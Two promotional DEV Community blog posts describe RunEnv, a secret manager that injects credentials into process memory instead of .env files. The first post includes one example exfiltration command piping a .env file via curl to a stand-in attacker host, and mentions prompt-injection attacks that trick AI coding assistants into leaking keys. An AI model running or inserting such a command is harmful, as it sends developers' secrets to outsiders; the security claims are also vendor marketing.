DEV Community: Derick Olotu

How RunEnv’s Zero-Disk Architecture Limits Cloud Platform Supply Chain Attacks

Derick Olotu — Fri, 24 Apr 2026 09:46:56 +0000

The recent security incidents involving platforms like Vercel have sparked important conversations across the DevOps community. While the specifics of every breach vary, the common denominator in many modern supply chain and platform compromises is a legacy practice we have accepted for too long: disk-bound secrets.

When environment variables, API keys, and database credentials are written to disk—whether as .env files, cached build artifacts, or plain-text config maps—they create a persistent attack surface. Today, this risk is compounding rapidly as we introduce autonomous AI coding assistants (like Cursor or Claude Code) into our local workspaces, inadvertently granting them blanket access to our local filesystems and .env files.

As an industry, we have spent years building impenetrable cloud vaults, only to pull the secrets out and drop them onto the filesystem for the last mile of delivery. Today, let's take a deep technical dive into RunEnv and its "Zero-Disk Architecture"—a modern, elegant security model designed to neutralize these vectors while making the developer experience completely frictionless.

By looking under the hood at how RunEnv handles memory injection, process lifecycles, and native AI integration, we can see exactly why keeping secrets off the disk is the future of DevSecOps.

The Anatomy of the Vulnerability (and the UX Nightmare)

To understand the solution, we must understand the flaw in traditional secret management: persistence.

When a developer or a CI platform runs an application, the workflow typically looks like this:

Fetch secrets from a vault (AWS Secrets Manager, HashiCorp, etc.).
Write them to a .env file in the project root.
Use a library like dotenv to parse the file into process.env.

From a security perspective, this creates an immediate liability. If a rogue npm package containing a pre-install script makes its way into your dependency tree, it just runs:
cat .env | curl -X POST -d @- https://attacker.com/leak

Furthermore, if the build environment caches the workspace, those .env files can be inadvertently snapshotted and exposed via path traversal vulnerabilities.

But beyond security, it is a terrible developer experience. Teams spend countless hours debugging because someone's local .env file is out of sync with their coworker's, or because a newly rotated staging database credential was shared insecurely over Slack.

Enter RunEnv: The Technical Deep Dive

RunEnv fundamentally flips this paradigm. Instead of dropping secrets onto the filesystem for the application to pick up, RunEnv acts as an orchestrator that pulls secrets securely and injects them directly into the process memory at runtime. No more manual syncing, and no more persistent files.

Here is exactly how that zero-disk model is achieved across different layers of the stack.

1. Process-Level Memory Injection (The CLI)

When you execute a command using the RunEnv CLI (e.g., runenv run -- npm start), RunEnv intercepts the execution. Under the hood, the CLI fetches the environment's secrets via an encrypted API call and constructs an internal object.

Instead of writing this object to a file, RunEnv uses Node's child_process.spawn to pass the variables directly into the child's execution context:

const child = spawn(commandArgs[0], commandArgs.slice(1), {
  stdio: 'inherit',
  shell: process.platform === 'win32',
  env: {
    ...(options.override ? {} : process.env),
    ...injectedEnv, // Pure memory injection
  },
})

The secrets live exclusively in the RAM allocated to that specific process tree. When the primary process dies, the secrets vanish with it.

2. Ephemeral Tmpfs for File Secrets

Not all secrets can be passed as simple strings. TLS certificates or cloud service account keys often require a file path.

If a secret key ends with the suffix _FILE, RunEnv dynamically decodes the secret into a heavily restricted, temporary directory locked down with 0o600 permissions (read/write by the owner process only). The CLI binds to the exit, SIGINT, and SIGTERM lifecycle events of the spawned child process. The exact millisecond your application stops, a cleanup function fires to forcefully unlink these temporary files from the system.

3. Just-In-Time (JIT) Ephemeral Leases

Zero-disk security is taken a step further at the SDK level by introducing Just-In-Time (JIT) access. Statically long-lived database credentials are just as dangerous as .env files.

With the RunEnv SDKs, developers can request ephemeral leases that are generated on the fly and expire automatically:

const lease = await runenv.lease("db-readonly", { ttl: 3600 });

The SDKs include background workers that automatically renew these credentials in-memory right before they expire. Even if a memory scraping attack were to occur, the JIT credential would likely be useless by the time an attacker attempted to authenticate with it.

4. Securing the AI Frontier (Model Context Protocol)

Because we acknowledged the AI threat model earlier: RunEnv eliminates the risk of an AI agent indiscriminately reading your .env files via runenv-mcp, a server that exposes secrets to AI agents via the Model Context Protocol (MCP).

Instead of the AI passively reading a text file, it must actively use defined MCP tools to access secrets. For example, the runenv_request_access tool forces the AI agent to explicitly state a reason for needing the secret. RunEnv then generates an audit-logged access grant with a strict Time-To-Live (TTL).

This integration brings strict Identity and Access Management (IAM) directly to your autonomous agents, ensuring they only see what they explicitly request (and what you allow).

How it Mitigates the Breach

If a target environment utilizes this zero-disk approach, the typical vectors seen in recent platform breaches hit a brick wall:

The Rogue Dependency Attack:
- Traditional: A malicious post-install script runs cat .env. The attacker gets your production database keys.
- RunEnv: The malicious script runs cat .env and gets an ENOENT (File not found) error. The secrets are locked inside the memory space of the primary application process.
The Build Cache Leak:
- Traditional: The CI/CD pipeline caches the workspace, accidentally capturing .env.production. A path traversal vulnerability later exposes the cached archive.
- RunEnv: The workspace is completely clean. Because secrets were injected dynamically, there are zero artifacts left behind for the cache to snapshot.
The Compromised AI Workspace:
- Traditional: A prompt injection attack tricks an AI coding assistant into reading the .env file and exfiltrating the keys in an obfuscated payload.
- RunEnv: The AI cannot arbitrarily read the secrets. It must request access via the MCP server, triggering an audit log and utilizing an ephemeral lease that expires quickly.

The Business Case: Compliance & Peace of Mind

While developers love RunEnv because it eliminates the headache of manually syncing .env files, engineering leadership loves it for a entirely different reason: compliance.

Achieving and maintaining certifications like SOC2, HIPAA, and ISO 27001 requires strict control over who can access production secrets and where those secrets reside. When secrets live on developers' hard drives or persist in CI/CD runners, the audit scope expands massively.

RunEnv's Zero-Disk architecture drastically reduces this scope. By ensuring secrets are only ever injected into memory—and providing full, centralized audit logs for every environment fetch or MCP agent request—engineering teams can breeze through compliance audits and drastically reduce potential incident response times.

Conclusion & Next Steps

The DevSecOps industry is waking up to a harsh reality: you cannot secure what you permanently store on disk. Breaches involving exposed environment variables will continue to happen as long as .env files are treated as the standard for configuration management.

RunEnv provides a mature, production-ready alternative that actually improves developer velocity. By combining process-level memory injection, strictly-permissioned ephemeral files, Just-In-Time credential leases, and native MCP agent guardrails, we can shrink the window of compromise from infinite to milliseconds.

It's time to stop auditing our .env files, and start eliminating them entirely.

Ready to secure your workspace and streamline your environment variables?
RunEnv is free for developers to get started. Head over to RunEnv.dev to create an account, check out our documentation to see the SDKs in action, or install the CLI directly to try it yourself:

npm install -g runenv-cli
runenv init

[Boost]

Derick Olotu — Thu, 09 Apr 2026 11:22:36 +0000

Derick Olotu

Apr 9

Why .env files are a security disaster (and what we do instead)

#todayilearned #webdev #productivity #security

Comments

4 min read

Why .env files are a security disaster (and what we do instead)

Derick Olotu — Thu, 09 Apr 2026 11:21:21 +0000

It happened on a Tuesday.

A new hire, trying to get their local environment working, accidentally committed our production API keys to a public GitHub repository. What followed was a blur of adrenaline and panic: we had to completely take down the repo, invalidate dozens of keys, and manually rotate our entire infrastructure one service at a time. It was a hectic, miserable afternoon.

But when the dust settled, we realized something important: we couldn't blame the engineer. The real culprit was the .env file itself. We had built a system where security relied entirely on humans remembering to update a .gitignore file. That was the day we declared war on .env files.

The Hidden Cost of "DM me the secrets"

We built something to solve exactly this. But first, let me show you how we got there.

The GitHub leak was our explosive trigger, but as we audited our workflow, we realized .env files were causing a slow, painful bleed across our entire company.

Whenever non-developers—like product designers, PMs, or QA engineers—wanted to preview a project locally, they couldn't just clone and run it. They had to ping an engineer: "Hey, can you send me the latest .env?"

This created a massive bottleneck. Non-developers would sometimes wait hours for an engineer to finish a deep-focus task just to get a text file. Worse, those secrets were being copy-pasted into Slack DMs, where they lived forever. We were trading our company's security for temporary convenience.

Design Exploration: The UX vs. Security Trap

We started looking at existing secret managers. The market is full of enterprise-grade tools, but we quickly found a glaring issue: they were built for machines, not for humans.

Most solutions required complex CLI authentications, deep AWS knowledge, or cumbersome UI dashboards. If we forced our designers to use them just to run a local localhost:3000 preview, we would completely destroy their productivity.

Our design and engineering teams sat down and established two non-negotiable constraints:

Zero-friction UX: It had to be so simple that a non-developer could run it on their first try without reading a manual.
Absolute Top-Tier Security: It needed to be vastly more secure than anything else on the market, meaning true End-to-End Encryption (E2EE) and zero local traces.

This is a classic software engineering tradeoff: usually, as security increases, usability plummets. We needed to break that rule.

The Engineering Challenge: Killing the Disk

If we wanted to eliminate the risk of .env files being accidentally committed, we had to stop writing them to the disk entirely.

We experimented with several approaches, but ultimately realized the safest way to manage local secrets is to inject them directly into the runtime process.

Instead of a developer running npm run dev and having the framework look for a .env file, we wanted them to run our tool, which would securely fetch the secrets, hold them in memory, and execute npm run dev with the environment variables pre-loaded.

But memory injection alone wasn't enough. What if a developer left a session running? We debated the architecture and eventually engineered a system of Just-In-Time (JIT) leases. When a developer or designer boots up a project, they are granted a temporary, encrypted lease for those secrets. When the session ends, the access evaporates.

# Before RunEnv
npm run dev   # prays .env file exists and isn't outdated

# With RunEnv
runenv run -- npm run dev   # secrets injected. zero disk. done.

The Breakthrough: Invisible Security

The real breakthrough came when we realized we could bridge the gap between our CLI and the tools our team already used.

We built a VS Code extension and a lightweight CLI. Because our architecture handled the heavy lifting of the E2EE engine in the background, the surface area for the user was practically invisible.

For the engineering team, it meant typing a single command to sync and run their environment. For the design team, it meant clicking a button in VS Code to spin up a perfectly configured local preview. No Slack DMs. No copy-pasting.

The Final Implementation and Results

Today, our workflow looks completely different. We replaced plain-text .env files with dynamic, encrypted runtime injection.

The results were immediate and highly measurable:

Instant setups: Project onboarding for both engineers and non-engineers dropped from hours to seconds. No one waits on anyone else to start working.
Zero leaks: Because secrets are never written to a .env file on disk, they cannot be accidentally committed to GitHub.
A clean Slack: We have entirely eliminated the exchange of production or staging keys via direct messages.

Lessons Learned

If there is one thing we took away from this journey, it’s that developer experience is a security feature. If your security protocols are too hard to use, your team will find workarounds. They will DM keys on Slack, they will email text files, and eventually, someone will push a key to a public repo. By focusing on frictionless access for non-technical users, we accidentally built the most secure architecture our team has ever had.

If your team is still slacking .env files to each other, or if you’ve ever had the heart-dropping experience of a leaked GitHub key, you don't have to build this from scratch. We spun our internal solution out into RunEnv a frictionless, end-to-end encrypted secret manager built for humans. Try RunEnv with your team today and kill your .env files for good.

If this resonated with you, a ❤️ reaction helps other developers find this article. Takes one second.